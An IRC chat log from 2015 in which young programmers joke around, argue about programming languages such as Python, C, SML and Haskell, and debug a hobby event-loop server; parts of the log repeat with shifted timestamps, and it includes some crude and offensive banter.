[2015-02-15T18:34:07-0500] <JacobEdelman> pact = program in combinatorial and algorithmic thinking
[2015-02-15T18:34:17-0500] <+awe> So, it does count?
[2015-02-15T18:34:32-0500] <assface> probably
[2015-02-15T18:36:11-0500] <assface> the devil is actually a professor of applied math at UC Fresno
[2015-02-15T18:36:44-0500] <+awe> Makes sense.
[2015-02-15T18:37:28-0500] <assface> if only because it's Fresno
[2015-02-15T18:38:00-0500] <+awe> Lol.
[2015-02-15T18:40:36-0500] <grantwu> Er... I don't think that counts
[2015-02-15T19:34:21-0500] <JacobEdelman_phone> grantwu: when people join pigeon I generally interrogate them, so even though I know you... What are your CSS/math/life areas of specialty /interest?
[2015-02-15T19:35:25-0500] <ubuntor> lol
[2015-02-15T19:36:11-0500] <JacobEdelman_phone> ubuntor: you doing hack bca?
[2015-02-15T19:36:55-0500] <ubuntor> maybe, if i can find a team
[2015-02-15T19:37:24-0500] <JacobEdelman_phone> Im soloing 😀
[2015-02-15T19:42:02-0500] <+awe> hardmath123: I'm working on improving my hamelin implementation.
[2015-02-15T19:42:15-0500] <+awe> hardmath123: replacing native threads with an event loop.
[2015-02-15T19:42:23-0500] <+awe> hardmath123: which will mean that this is actually production-ready.
[2015-02-15T19:43:51-0500] <JacobEdelman_phone> awe: why is it that swift key works so nicely and so does machine  vision yet rotation detection still stinks?
[2015-02-15T19:43:57-0500] <hardmath123> awe: Yaay.
[2015-02-15T19:45:01-0500] <JacobEdelman_phone>  
[2015-02-15T19:45:09-0500] <JacobEdelman_phone> Oops
[2015-02-15T19:59:07-0500] <bob_twinkles> JacobEdelman_phone: wat
[2015-02-15T20:06:55-0500] <JacobEdelman_phone> Wat?
[2015-02-15T20:13:19-0500] <assface> jacobEdelman_phone: you interrogated me?
[2015-02-15T20:15:23-0500] <+awe> hardmath123: It requires me writing an async version of a buffered stream though, which isn't a big deal.
[2015-02-15T20:16:47-0500] <JacobEdelman_phone> Arseface: yes i think I did ?
[2015-02-15T20:19:32-0500] <assface> I don't think so
[2015-02-15T20:26:46-0500] <alokpathy> I remember you did.
[2015-02-15T20:26:59-0500] <alokpathy> and assface was like "I don't do anything"
[2015-02-15T20:27:49-0500] <JacobEdelman_phone> Yeah, I think I did
[2015-02-15T20:31:45-0500] <assface> I do things sometimes >_>
[2015-02-15T20:31:57-0500] <alokpathy> Well you said you didn't xD
[2015-02-15T20:33:25-0500] <assface> lies spread by the communist nazi jews
[2015-02-15T20:37:55-0500] <+awe> hardmath123: Woo!
[2015-02-15T20:37:57-0500] <+awe> hardmath123: I did it.
[2015-02-15T20:40:41-0500] <alokpathy> JacobEdelman_phone: Check pm
[2015-02-15T20:40:45-0500] <alokpathy> wait
[2015-02-15T20:41:07-0500] <alokpathy> Yeah, check pm.
[2015-02-15T20:42:41-0500] <+awe> hardmath123: Hm, but now Ctrl+D doesn't do anything.
[2015-02-15T20:45:28-0500] <+awe> hardmath123: like, it doesn't send EOF for some reason.
[2015-02-15T20:46:07-0500] <bob_twinkles> IIRC poll() treats EOF and readable differently
[2015-02-15T20:46:39-0500] <+awe> Does it?
[2015-02-15T20:46:47-0500] <hardmath123> awe: yaaay
[2015-02-15T20:46:51-0500] <+awe> Oh, I think I know why.
[2015-02-15T20:46:59-0500] <hardmath123> awe: instead of sending EOF, do .close() on the file descriptor
[2015-02-15T20:47:08-0500] <+awe> wat?
[2015-02-15T20:47:16-0500] <bob_twinkles> yeah, POLLIN versus POLLHUP
[2015-02-15T20:47:21-0500] <+awe> I don't know what you're saying hardmath123.
[2015-02-15T20:47:25-0500] <bob_twinkles> I don't know if that leaks through rust's abstraction though
[2015-02-15T20:47:29-0500] <+awe> bob_twinkles: I figured out how to work with EOF through this abstraction.
[2015-02-15T20:47:54-0500] <bob_twinkles> mk
[2015-02-15T20:50:03-0500] <+awe> So, uhh...
[2015-02-15T20:50:17-0500] <+awe> Now it's not making any attempt to write to the thing
[2015-02-15T20:50:19-0500] <+awe> but EOF works properly
[2015-02-15T20:50:22-0500] <+awe> and the stream closes and so forth.
[2015-02-15T20:51:09-0500] <+awe> So, doing cat /usr/share/dict/words | nc localhost 30000 properly ends.
[2015-02-15T20:58:12-0500] <+awe> hardmath123: uhh, I added a print to your guestbook thing and it didn't print them.
[2015-02-15T20:59:54-0500] <+awe> I'm really confused.
[2015-02-15T21:00:18-0500] <assface> the wonders of programming
[2015-02-15T21:03:37-0500] <+awe> hardmath123: I do NOT understand this.
[2015-02-15T21:03:49-0500] <hardmath123> awe: what happened?
[2015-02-15T21:04:05-0500] <+awe> The python script just seems to never receive anything.
[2015-02-15T21:04:35-0500] <hardmath123> Are you running it locally?
[2015-02-15T21:05:25-0500] <assface> awe: things like this are what make me not want to be a programmer as a career
[2015-02-15T21:05:36-0500] <+awe> hardmath123: ??
[2015-02-15T21:05:43-0500] <+awe> hardmath123: yes, I'm running it with hamelin locally, if that's what you mean.
[2015-02-15T21:06:10-0500] <+awe> hardmath123: maybe it's a difference with my Python version?
[2015-02-15T21:08:25-0500] <grantwu> What are your CSS/math/life areas of specialty /interest?
[2015-02-15T21:08:32-0500] <grantwu> -Jacob
[2015-02-15T21:08:36-0500] <grantwu> What is a CSS?
[2015-02-15T21:08:41-0500] <grantwu> I know I have no maths
[2015-02-15T21:08:49-0500] <grantwu> Or interest
[2015-02-15T21:08:51-0500] <grantwu> .-.
[2015-02-15T21:09:36-0500] <+awe> He meant CS.
[2015-02-15T21:09:42-0500] <+awe> As in Computer Science.
[2015-02-15T21:10:00-0500] <+awe> hardmath123: please tell me it's a python thing on my system.
[2015-02-15T21:10:11-0500] <+awe> hardmath123: please tell me it's just that the python loop isn't blocking on stdin.
[2015-02-15T21:10:20-0500] <grantwu> What does he mean my CS
[2015-02-15T21:10:30-0500] <grantwu> What are my areas of interest in CS?
[2015-02-15T21:10:32-0500] <+awe> Yeah.
[2015-02-15T21:10:35-0500] <grantwu> uh.
[2015-02-15T21:10:38-0500] <grantwu> idk.
[2015-02-15T21:10:41-0500] <grantwu> stuff.
[2015-02-15T21:10:49-0500] <+awe> Like I'm a programming language theory and type systems guy.
[2015-02-15T21:11:10-0500] <grantwu> my current area of interest is why my homework won't compile
[2015-02-15T21:11:17-0500] <grantwu> hue
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[2015-02-15T20:47:25-0500] <bob_twinkles> I don't know if that leaks through rust's abstraction though
[2015-02-15T20:47:29-0500] <+awe> bob_twinkles: I figured out how to work with EOF through this abstraction.
[2015-02-15T20:47:54-0500] <bob_twinkles> mk
[2015-02-15T20:50:04-0500] <+awe> So, uhh...
[2015-02-15T20:50:17-0500] <+awe> Now it's not making any attempt to write to the thing
[2015-02-15T20:50:19-0500] <+awe> but EOF works properly
[2015-02-15T20:50:22-0500] <+awe> and the stream closes and so forth.
[2015-02-15T20:51:09-0500] <+awe> So, doing cat /usr/share/dict/words | nc localhost 30000 properly ends.
[2015-02-15T20:58:12-0500] <+awe> hardmath123: uhh, I added a print to your guestbook thing and it didn't print them.
[2015-02-15T20:59:54-0500] <+awe> I'm really confused.
[2015-02-15T21:00:18-0500] <assface> the wonders of programming
[2015-02-15T21:03:37-0500] <+awe> hardmath123: I do NOT understand this.
[2015-02-15T21:03:49-0500] <hardmath123> awe: what happened?
[2015-02-15T21:04:05-0500] <+awe> The python script just seems to never receive anything.
[2015-02-15T21:04:35-0500] <hardmath123> Are you running it locally?
[2015-02-15T21:05:25-0500] <assface> awe: things like this are what make me not want to be a programmer as a career
[2015-02-15T21:05:36-0500] <+awe> hardmath123: ??
[2015-02-15T21:05:43-0500] <+awe> hardmath123: yes, I'm running it with hamelin locally, if that's what you mean.
[2015-02-15T21:06:10-0500] <+awe> hardmath123: maybe it's a difference with my Python version?
[2015-02-15T21:08:25-0500] <grantwu> What are your CSS/math/life areas of specialty /interest?
[2015-02-15T21:08:32-0500] <grantwu> -Jacob
[2015-02-15T21:08:36-0500] <grantwu> What is a CSS?
[2015-02-15T21:08:41-0500] <grantwu> I know I have no maths
[2015-02-15T21:08:49-0500] <grantwu> Or interest
[2015-02-15T21:08:51-0500] <grantwu> .-.
[2015-02-15T21:09:36-0500] <+awe> He meant CS.
[2015-02-15T21:09:42-0500] <+awe> As in Computer Science.
[2015-02-15T21:10:00-0500] <+awe> hardmath123: please tell me it's a python thing on my system.
[2015-02-15T21:10:11-0500] <+awe> hardmath123: please tell me it's just that the python loop isn't blocking on stdin.
[2015-02-15T21:10:20-0500] <grantwu> What does he mean my CS
[2015-02-15T21:10:30-0500] <grantwu> What are my areas of interest in CS?
[2015-02-15T21:10:32-0500] <+awe> Yeah.
[2015-02-15T21:10:35-0500] <grantwu> uh.
[2015-02-15T21:10:38-0500] <grantwu> idk.
[2015-02-15T21:10:41-0500] <grantwu> stuff.
[2015-02-15T21:10:49-0500] <+awe> Like I'm a programming language theory and type systems guy.
[2015-02-15T21:11:10-0500] <grantwu> my current area of interest is why my homework won't compile
[2015-02-15T21:11:17-0500] <grantwu> hue
[2015-02-15T21:12:07-0500] <grantwu> uh you like type systems
[2015-02-15T21:12:09-0500] <grantwu> kewl
[2015-02-15T21:12:46-0500] <grantwu> all hail hindley milner and all that
[2015-02-15T21:15:06-0500] <grantwu> I don't know.  There's nothing I'm particularly good at.  Except at getting annoyed at broken software.
[2015-02-15T21:15:49-0500] <grantwu> Same really for math.  Except I know i'm bad at calculus.
[2015-02-15T21:16:01-0500] <grantwu> Life areas of specialty: none?
[2015-02-15T21:16:11-0500] <grantwu> Interests: meh
[2015-02-15T21:16:43-0500] <assface> high five directionless brother
[2015-02-15T21:16:59-0500] • grantwu: high fives assface
[2015-02-15T21:17:15-0500] <assface> you just high fived a person whose face is an ass
[2015-02-15T21:17:19-0500] <assface> how do you feel about that?
[2015-02-15T21:17:28-0500] <grantwu> idgaf
[2015-02-15T21:22:06-0500] Mode is +nt
[2015-02-15T21:22:30-0500] <+awe> Lol.
[2015-02-15T21:22:45-0500] <grantwu> miao
[2015-02-15T21:27:20-0500] <assface> so grantwu
[2015-02-15T21:27:24-0500] <assface> tell us about yourself
[2015-02-15T21:27:36-0500] <assface> in college, HS, elementary...
[2015-02-15T21:27:45-0500] <grantwu> freshman in college
[2015-02-15T21:28:01-0500] <assface> at which pristine university?
[2015-02-15T21:28:21-0500] <grantwu> cmu
[2015-02-15T21:28:46-0500] <+awe> hardmath123: sigh.
[2015-02-15T21:29:04-0500] <assface> grantwu: got a major yet?
[2015-02-15T21:29:08-0500] <grantwu> cs
[2015-02-15T21:29:21-0500] <assface> cool
[2015-02-15T21:30:18-0500] <assface> mmmmmm pizza
[2015-02-15T21:31:42-0500] <grantwu> Pizza is usually good
[2015-02-15T21:32:16-0500] <+awe> hardmath123: Fuck Python.
[2015-02-15T21:32:20-0500] <+awe> hardmath123: I wrote a ruby script for the same purpose
[2015-02-15T21:32:23-0500] <+awe> hardmath123: and it WORKS.
[2015-02-15T21:32:35-0500] <grantwu> awe methinks you need a break
[2015-02-15T21:32:49-0500] <+awe> Nah.
[2015-02-15T21:32:51-0500] <+awe> I just hate Python. :)
[2015-02-15T21:33:00-0500] <grantwu> because it's untyped?
[2015-02-15T21:33:08-0500] <+awe> For many reasons.
[2015-02-15T21:33:11-0500] <+awe> That is one of them.
[2015-02-15T21:33:13-0500] <grantwu> hue
[2015-02-15T21:33:35-0500] <+awe> I hate the type of programmers it creates.
[2015-02-15T21:33:37-0500] <+awe> See: JacobEdelman.
[2015-02-15T21:33:45-0500] <grantwu> lolll
[2015-02-15T21:34:01-0500] <+awe> "A constant factor of 10x is totally not important for performance!"
[2015-02-15T21:34:11-0500] <+awe> .-.
[2015-02-15T21:34:30-0500] <grantwu> hue
[2015-02-15T21:34:40-0500] <grantwu> we are all shmiel the painter
[2015-02-15T21:34:54-0500] <grantwu> oops shlmiel
[2015-02-15T21:36:09-0500] <grantwu> homework problem 4 on my homework: beat python's string to integer parsing algorithm
[2015-02-15T21:36:12-0500] <grantwu> I crie evry tiem
[2015-02-15T21:40:15-0500] <assface> I once made a text-to-string algo that worked by just subtracting the right number from the ascii representation, multiplying by its place and then adding it
[2015-02-15T21:41:15-0500] <grantwu> ai ya
[2015-02-15T21:41:35-0500] <grantwu> academic integrity! or something or other
[2015-02-15T21:43:04-0500] <assface> mmhmm
[2015-02-15T21:43:47-0500] <assface> it also works in any base!
[2015-02-15T21:44:01-0500] <assface> (well, everything below base-128)
[2015-02-15T22:04:25-0500] <+awe> hardmath123: Argh. I need to figure out how to get the program to continue executing after I send Ctrl+D though.
[2015-02-15T22:04:42-0500] <+awe> Oh, I actually think I know what to do.
[2015-02-15T22:06:59-0500] <+awe> Nope.
[2015-02-15T22:07:04-0500] <+awe> I tried doing wait, but that didn't work.
[2015-02-15T22:07:27-0500] <JacobEdelman_phone> grantwu: for some reason few people appreciate my position that algorithmic complexity is all that matters and that numbers larger than four don't exist
[2015-02-15T22:07:45-0500] <+awe> Because for chrissake, I CAN WRITE THE SAME ALGORITHM IN EVERY LANGUAGE.
[2015-02-15T22:08:02-0500] <+awe> I CAN WRITE YOUR O(N) ALGORITHM IN A LANGUAGE THAT'S TEN TIMES FASTER.
[2015-02-15T22:08:11-0500] <+awe> qwrklajrkljsalgmal
[2015-02-15T22:08:24-0500] <grantwu> lolololololololololololololololololololololol
[2015-02-15T22:08:25-0500] <JacobEdelman_phone> Ergo it doesn't matter what language I use
[2015-02-15T22:08:43-0500] <grantwu> We should all use C
[2015-02-15T22:08:46-0500] <grantwu> clearly
[2015-02-15T22:08:52-0500] <JacobEdelman_phone> Swift key thought language was kangaroos 😁
[2015-02-15T22:08:53-0500] <+awe> grantwu: No because the type system in C is shit.
[2015-02-15T22:09:04-0500] <+awe> grantwu: It doesn't enforce any sort of safety.
[2015-02-15T22:09:09-0500] <grantwu> I see nothing wrong with that :3
[2015-02-15T22:09:12-0500] <grantwu> huehuehuehueheuheue
[2015-02-15T22:09:45-0500] <+awe> Programming in C is the software development equivalent of having sex without a condom.
[2015-02-15T22:09:52-0500] <alokpathy> LOL
[2015-02-15T22:10:01-0500] <+awe> You might not get her pregnant, and you might not get a disease, but do you really want to risk it?
[2015-02-15T22:10:51-0500] <grantwu> yoloooooooooo
[2015-02-15T22:10:53-0500] <JacobEdelman_phone>  And what is Python?
[2015-02-15T22:11:01-0500] <+awe> Herpes.
[2015-02-15T22:11:01-0500] <+jwoglom> that's an interesting analogy
[2015-02-15T22:11:32-0500] <grantwu> fuckit we should just write assembler instead
[2015-02-15T22:12:00-0500] <+awe> Programming in asm is the software development equivalent of inventing unsafe sex from scratch.
[2015-02-15T22:12:04-0500] <JacobEdelman_phone> And lark ?(my programming language I will eventually get back to making)
[2015-02-15T22:12:07-0500] <+awe> It's impractical AND a terrible idea.
[2015-02-15T22:12:58-0500] <JacobEdelman_phone> Lark or ask?
[2015-02-15T22:13:22-0500] <grantwu> WRITE THE MICROCODEEEE
[2015-02-15T22:13:23-0500] <+awe> asm.
[2015-02-15T22:13:28-0500] <bob_twinkles> I guess if we extend the analogy it's like trying to have sex in plate armor with all the joints welded
[2015-02-15T22:13:35-0500] <bob_twinkles> (for lark)
[2015-02-15T22:13:38-0500] <bob_twinkles> because you just can't
[2015-02-15T22:13:48-0500] <JacobEdelman_phone> Brain f*** is what?
[2015-02-15T22:14:05-0500] <bob_twinkles> pretty much the same thing
[2015-02-15T22:14:24-0500] <+awe> Yup.
[2015-02-15T22:14:48-0500] <JacobEdelman_phone> Ah Lark is the future Lark is life!
[2015-02-15T22:14:55-0500] <bob_twinkles> so what I've learned from being in #haskell for about 2 hours is that cabal is shit
[2015-02-15T22:15:03-0500] <grantwu> C exists for the same reason Rust's unsafe keyword exists
[2015-02-15T22:15:30-0500] <bob_twinkles> I love C, but awe's right in that it's an incredibly unsafe language
[2015-02-15T22:15:46-0500] <bob_twinkles> "C lets you shoot your foot. C++ makes it harder, but when you do you blow your whole leg off" =P
[2015-02-15T22:15:57-0500] <+jwoglom> c is still pretty important though
[2015-02-15T22:16:04-0500] <bob_twinkles> yep
[2015-02-15T22:16:13-0500] <+jwoglom> but yes, it's pretty easy to use it wrong
[2015-02-15T22:16:13-0500] <bob_twinkles> see: the linux kernel
[2015-02-15T22:17:02-0500] <grantwu> or any kernel really
[2015-02-15T22:17:10-0500] <grantwu> seL4 was written in Haskell
[2015-02-15T22:17:24-0500] <grantwu> then they translated it into C and proved the C did the same thing as the Haskell
[2015-02-15T22:17:40-0500] <bob_twinkles> I'm pretty sure a lot of the NT4 kernel is C++
[2015-02-15T22:17:53-0500] <bob_twinkles> so basically they proved the haskell compiler works?
[2015-02-15T22:18:23-0500] <grantwu> Hrm... I don't think so?
[2015-02-15T22:18:35-0500] <grantwu> They proved the C source was equivalent to the Haskell source
[2015-02-15T22:18:40-0500] <JacobEdelman_phone> Lark let's you eat your own foot!
[2015-02-15T22:18:50-0500] <bob_twinkles> JacobEdelman_phone: that's... not a feature
[2015-02-15T22:19:17-0500] <grantwu> But does Lark let you eat your own foot and have it too?
[2015-02-15T22:19:17-0500] <JacobEdelman_phone> Yes yes it is
[2015-02-15T22:19:29-0500] <JacobEdelman_phone> Lol
[2015-02-15T22:19:45-0500] <JacobEdelman_phone> Lark has modifiable syntax
[2015-02-15T22:19:59-0500] <JacobEdelman_phone> Functions are macros
[2015-02-15T22:20:21-0500] <grantwu> sounds like Lisp or something
[2015-02-15T22:20:24-0500] <grantwu> idk much about lisp
[2015-02-15T22:20:34-0500] <JacobEdelman_phone> Syntax is functions
[2015-02-15T22:20:47-0500] <bob_twinkles> grantwu: it pretty much is a lisp, he just won't really admit it =P
[2015-02-15T22:20:56-0500] <grantwu> derp
[2015-02-15T22:20:59-0500] <JacobEdelman_phone> Lisp makes you use parentheses
[2015-02-15T22:21:47-0500] <JacobEdelman_phone> Lark use s context free grammar ish stuff
[2015-02-15T22:22:37-0500] <grantwu> Why are you making this
[2015-02-15T22:22:39-0500] <grantwu> Just on a lark?
[2015-02-15T22:23:05-0500] <grantwu> huehuehuehuehuehue
[2015-02-15T22:23:52-0500] <JacobEdelman_phone> With a large enough program you could program in Python
[2015-02-15T22:24:28-0500] <JacobEdelman_phone> Or in any
[2015-02-15T22:24:43-0500] <JacobEdelman_phone> Language
[2015-02-15T22:28:11-0500] <grantwu> so much work T.T
[2015-02-15T22:29:35-0500] <+awe> bob_twinkles: basically, they translated Haskell into C and then proved that the C code is equivalent to the Haskell code.
[2015-02-15T22:30:00-0500] <+awe> bob_twinkles: in other words, they proved that it has all the same safety guarantees as Haskell, despite being able to be compiled by a C compiler.
[2015-02-15T22:30:06-0500] <+awe> bob_twinkles: there isn't a really significant advantage of this though.
[2015-02-15T22:30:23-0500] <+awe> Unless they converted it to being strict in the process.
[2015-02-15T22:30:26-0500] <grantwu> Speed...?
[2015-02-15T22:30:34-0500] <+awe> It won't be faster if it's still lazy.
[2015-02-15T22:30:44-0500] <grantwu> Fairly sure they converted it to being strict
[2015-02-15T22:30:48-0500] <+awe> Okay.
[2015-02-15T22:30:54-0500] <+awe> Then, yeah, that's a worthwhile thing.
[2015-02-15T22:31:05-0500] <grantwu> Like... I'm not sure.  But they wrote it how you would normally write a kernel I think
[2015-02-15T22:31:12-0500] <grantwu> With all da optimizations
[2015-02-15T22:31:32-0500] <+awe> I'm excited for kernel development in Rust.
[2015-02-15T22:31:36-0500] <LittleBobbyTables> why is grant a super familiar name
[2015-02-15T22:31:45-0500] <grantwu> Because I've been here before.
[2015-02-15T22:31:51-0500] <grantwu> Once.
[2015-02-15T22:32:00-0500] <LittleBobbyTables> are you sure
[2015-02-15T22:32:03-0500] <grantwu> Yes
[2015-02-15T22:32:21-0500] <grantwu> I think you trolled me then
[2015-02-15T22:32:30-0500] <LittleBobbyTables> that helps me so little.
[2015-02-15T22:32:35-0500] <JacobEdelman_phone> He's a person who did a summer program in theoretical computer science
[2015-02-15T22:32:47-0500] <JacobEdelman_phone> With Alok and i
[2015-02-15T22:32:54-0500] <LittleBobbyTables> is this merlini's cousin?
[2015-02-15T22:32:55-0500] <alokpathy> JacobEdelman_phone: I doubt that helps him either :P
[2015-02-15T22:34:05-0500] <JacobEdelman_phone> hardmath123: you can apply to pact now
[2015-02-15T22:34:24-0500] <grantwu> alok I'm ronery
[2015-02-15T22:34:25-0500] <grantwu> wat do
[2015-02-15T22:34:26-0500] <alokpathy> I don't think he or Ashley are applying, lol.
[2015-02-15T22:34:43-0500] <JacobEdelman_phone> Algorithmicthinking.org i think
[2015-02-15T22:34:47-0500] <alokpathy> grantwu: wat
[2015-02-15T22:34:48-0500] <alokpathy> y
[2015-02-15T22:34:59-0500] <grantwu> sml is not very friendly to me :C
[2015-02-15T22:36:21-0500] <grantwu> You'd think the thing I'd hate about my first functional programming class would be functional
[2015-02-15T22:36:38-0500] <grantwu> But rather I dislike the strange operator precedence rules
[2015-02-15T22:36:50-0500] <alokpathy> oops
[2015-02-15T22:36:58-0500] <alokpathy> Oh CMU FP uses SML?
[2015-02-15T22:37:17-0500] <grantwu> Yeah.  I mean, made here syndrome xD
[2015-02-15T22:37:41-0500] <alokpathy> Oh it was made at CMU?
[2015-02-15T22:37:43-0500] <+awe> SML is ... okay.
[2015-02-15T22:37:45-0500] <+awe> OCaml is better.
[2015-02-15T22:37:54-0500] <alokpathy> I know Princeton uses OCaml.
[2015-02-15T22:38:06-0500] <alokpathy> For its FP class.
[2015-02-15T22:38:07-0500] <grantwu> Robert Harper was a major contributor to SML
[2015-02-15T22:38:27-0500] <grantwu> Egh they're all MLs in the end.
[2015-02-15T22:39:09-0500] <alokpathy> xD
[2015-02-15T22:39:13-0500] <+awe> Yeah, I mean, there are better functional languages.
[2015-02-15T22:39:23-0500] <JacobEdelman_phone> Solution: use Lark
[2015-02-15T22:39:41-0500] <+awe> JacobEdelman_phone: go away, nobody is going to use your language.
[2015-02-15T22:39:44-0500] <alokpathy> JacobEdelman_phone: Nobody's buying your propaganda :P
[2015-02-15T22:40:06-0500] <JacobEdelman_phone> Awwww-e
[2015-02-15T22:41:45-0500] <grantwu> oh yay my code doesn't typecheck
[2015-02-15T22:41:51-0500] <JacobEdelman_phone> Ben said he would
[2015-02-15T22:41:54-0500] <grantwu> time to randomly stick parentheses in places until it does
[2015-02-15T22:42:31-0500] <bob_twinkles> hey, I have "constraints = sortBy (comparing $ countMatch unknownProbability . (c!) . sumQuery) $ problemConstraints p"
[2015-02-15T22:42:40-0500] <bob_twinkles> which does typecheck!
[2015-02-15T22:42:58-0500] <JacobEdelman_phone> That's ugly
[2015-02-15T22:43:06-0500] <grantwu> so's my face
[2015-02-15T22:43:13-0500] <bob_twinkles> well, that represents about 50% of the algorithm I'm trying to implement in one line
[2015-02-15T22:43:35-0500] <JacobEdelman_phone> No it's like a cat according to the mentees
[2015-02-15T22:43:44-0500] <grantwu> miao
[2015-02-15T22:43:55-0500] <JacobEdelman_phone> :P
[2015-02-15T22:44:15-0500] <+awe> That's not ugly at all.
[2015-02-15T22:44:27-0500] <assface> not nearly as ugly as yo mama
[2015-02-15T22:45:13-0500] <JacobEdelman_phone> awe: you have a weird sense of ugliness
[2015-02-15T22:45:47-0500] <+awe> Not at all?
[2015-02-15T22:45:58-0500] <bob_twinkles> it could be cleaner if I declared some more helper functions but I'm lazy
[2015-02-15T22:46:15-0500] <grantwu> .-.
[2015-02-15T22:46:42-0500] <+awe> Yeah, I don't love what you're passing to comparing.
[2015-02-15T22:47:41-0500] <LittleBobbyTables> My knee still hurts from when I got kicked :(
[2015-02-15T22:47:46-0500] <grantwu> why does function application have higher precedence than cons? what the flying fuck sml
[2015-02-15T22:47:59-0500] <bob_twinkles> because function application is Important
[2015-02-15T22:48:21-0500] <grantwu> do_thing x::xs
[2015-02-15T22:48:35-0500] <grantwu> Is intepreted as (do_thing x)::xs
[2015-02-15T22:48:38-0500] <grantwu> that seems wrong to me
[2015-02-15T22:49:08-0500] <JacobEdelman_phone> Agreed
[2015-02-15T22:49:17-0500] <grantwu> especially when function application requires a space and cons doesn't.  the actual binding doesn't match what is visually suggested
[2015-02-15T22:50:13-0500] <+awe> It's not.
[2015-02-15T22:50:24-0500] <grantwu> ?
[2015-02-15T22:50:27-0500] <+awe> It's not wrong.
[2015-02-15T22:50:41-0500] <grantwu> but it's confusing :C
[2015-02-15T22:50:56-0500] <JacobEdelman_phone> grantwu: don't listen to awe he thinks it's people who are the problem
[2015-02-15T22:51:06-0500] <+awe> Can you declare operator precedence in SML? 
[2015-02-15T22:51:11-0500] <grantwu> um... I'm not sure?
[2015-02-15T22:51:16-0500] <JacobEdelman_phone> Not langs
[2015-02-15T22:51:27-0500] <+awe> If you can't, that's why.
[2015-02-15T22:51:44-0500] <+awe> It adds a degree of implementation complexity that they probably thought wasn't worth it.
[2015-02-15T22:52:10-0500] <+awe> You can do it in Haskell which is why foo x:xs would evaluate to foo (x:xs)
[2015-02-15T22:52:19-0500] <grantwu> I think you can for your own operators
[2015-02-15T22:52:42-0500] <grantwu> I'm not sure if you can shadow the :: operator
[2015-02-15T22:52:45-0500] <grantwu> maybe I don't know
[2015-02-15T23:05:32-0500] <alokpathy> grantwu: Out of curiosity, who invited you to pdgn?
[2015-02-15T23:05:35-0500] <alokpathy> JacobEdelman_phone: ?
[2015-02-15T23:05:39-0500] <grantwu> yes that person
[2015-02-15T23:05:44-0500] <alokpathy> Ah
[2015-02-15T23:05:46-0500] <alokpathy> makes sense.
[2015-02-15T23:06:43-0500] <JacobEdelman_phone> Yup
[2015-02-15T23:10:40-0500] <grantwu> Alok is basically saying
[2015-02-15T23:10:46-0500] <grantwu> "Who let this darned cat in"
[2015-02-15T23:10:57-0500] <+awe> You are a cat.
[2015-02-15T23:11:12-0500] <grantwu> miaooo
[2015-02-15T23:20:47-0500] <LittleBobbyTables> You're a cat.
[2015-02-15T23:40:58-0500] <JacobEdelman_phone> grantwu: when you were at pact you were a lot less accepting of your feline nature
[2015-02-15T23:41:55-0500] <JacobEdelman_phone> Well a not less accepting
[2015-02-15T23:42:12-0500] <grantwu> I was accepting?
[2015-02-15T23:42:24-0500] <JacobEdelman_phone> You wouldn't miao on command
[2015-02-15T23:42:51-0500] <JacobEdelman_phone> Now gnight
[2015-02-15T23:44:08-0500] <grantwu> Cats don't miao on command
[2015-02-15T23:44:11-0500] <grantwu> Why should I
[2015-02-15T23:46:44-0500] <JacobEdelman_phone> Lol
[2015-02-15T23:57:20-0500] <+awe> True story.
[2015-02-15T23:59:41-0500] <JacobEdelman_phone> Phone keyboards are word
[2015-02-15T23:59:48-0500] <JacobEdelman_phone> Oops
[2015-02-15T23:59:56-0500] <JacobEdelman_phone> Infant word
[2015-02-16T00:00:01-0500] <JacobEdelman_phone> ..  .... 
[2015-02-16T00:00:06-0500] <JacobEdelman_phone> Fail
[2015-02-16T00:00:12-0500] <JacobEdelman_phone> Now good bye
[2015-02-16T00:00:18-0500] <hardmath123> awe: wait what the python should totally work. nothing changed.
[2015-02-16T00:00:20-0500] <hardmath123> ...
[2015-02-16T00:00:28-0500] <+awe> hardmath123: The python didn't work before.
[2015-02-16T00:00:37-0500] <+awe> I believe it's for the same reason.
[2015-02-16T00:00:48-0500] <+awe> The programs exit as soon as stdin hits EOF.
[2015-02-16T00:00:52-0500] <+awe> and I'm not sure why.
[2015-02-16T00:00:59-0500] <hardmath123> It just worked.
[2015-02-16T00:01:01-0500] <hardmath123> http://backtick.town/~kc/qdb.txt
[2015-02-16T00:01:10-0500] <+awe> No, for me.
[2015-02-16T00:01:15-0500] <+awe> Using my hamelin.
[2015-02-16T00:01:31-0500] <+awe> Oh, the Python one works.
[2015-02-16T00:01:38-0500] <+awe> I fixed it. Awesome!
[2015-02-16T00:01:59-0500] <+awe> It must just be the ruby script that doesn't let you do anything.
[2015-02-16T00:02:02-0500] <+awe> Okay.
[2015-02-16T00:07:22-0500] <+awe> hardmath123: lol, okay, so it works, but blocks on individual clients right now.
[2015-02-16T00:07:38-0500] <+awe> hardmath123: I think I might be doing this wrong.
[2015-02-16T00:31:11-0500] <+awe> hardmath123: Yeah, I'm doing the event loop very, very wrong.
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[2015-02-15T22:51:17-0500] <JacobEdelman_phone> Not langs
[2015-02-15T22:51:27-0500] <+awe> If you can't, that's why.
[2015-02-15T22:51:45-0500] <+awe> It adds a degree of implementation complexity that they probably thought wasn't worth it.
[2015-02-15T22:52:11-0500] <+awe> You can do it in Haskell which is why foo x:xs would evaluate to foo (x:xs)
[2015-02-15T22:52:20-0500] <grantwu> I think you can for your own operators
[2015-02-15T22:52:42-0500] <grantwu> I'm not sure if you can shadow the :: operator
[2015-02-15T22:52:46-0500] <grantwu> maybe I don't know
[2015-02-15T23:05:33-0500] <alokpathy> grantwu: Out of curiosity, who invited you to pdgn?
[2015-02-15T23:05:35-0500] <alokpathy> JacobEdelman_phone: ?
[2015-02-15T23:05:40-0500] <grantwu> yes that person
[2015-02-15T23:05:44-0500] <alokpathy> Ah
[2015-02-15T23:05:46-0500] <alokpathy> makes sense.
[2015-02-15T23:06:43-0500] <JacobEdelman_phone> Yup
[2015-02-15T23:10:41-0500] <grantwu> Alok is basically saying
[2015-02-15T23:10:47-0500] <grantwu> "Who let this darned cat in"
[2015-02-15T23:10:58-0500] <+awe> You are a cat.
[2015-02-15T23:11:13-0500] <grantwu> miaooo
[2015-02-15T23:20:48-0500] <LittleBobbyTables> You're a cat.
[2015-02-15T23:40:58-0500] <JacobEdelman_phone> grantwu: when you were at pact you were a lot less accepting of your feline nature
[2015-02-15T23:41:55-0500] <JacobEdelman_phone> Well a not less accepting
[2015-02-15T23:42:13-0500] <grantwu> I was accepting?
[2015-02-15T23:42:25-0500] <JacobEdelman_phone> You wouldn't miao on command
[2015-02-15T23:42:51-0500] <JacobEdelman_phone> Now gnight
[2015-02-15T23:44:09-0500] <grantwu> Cats don't miao on command
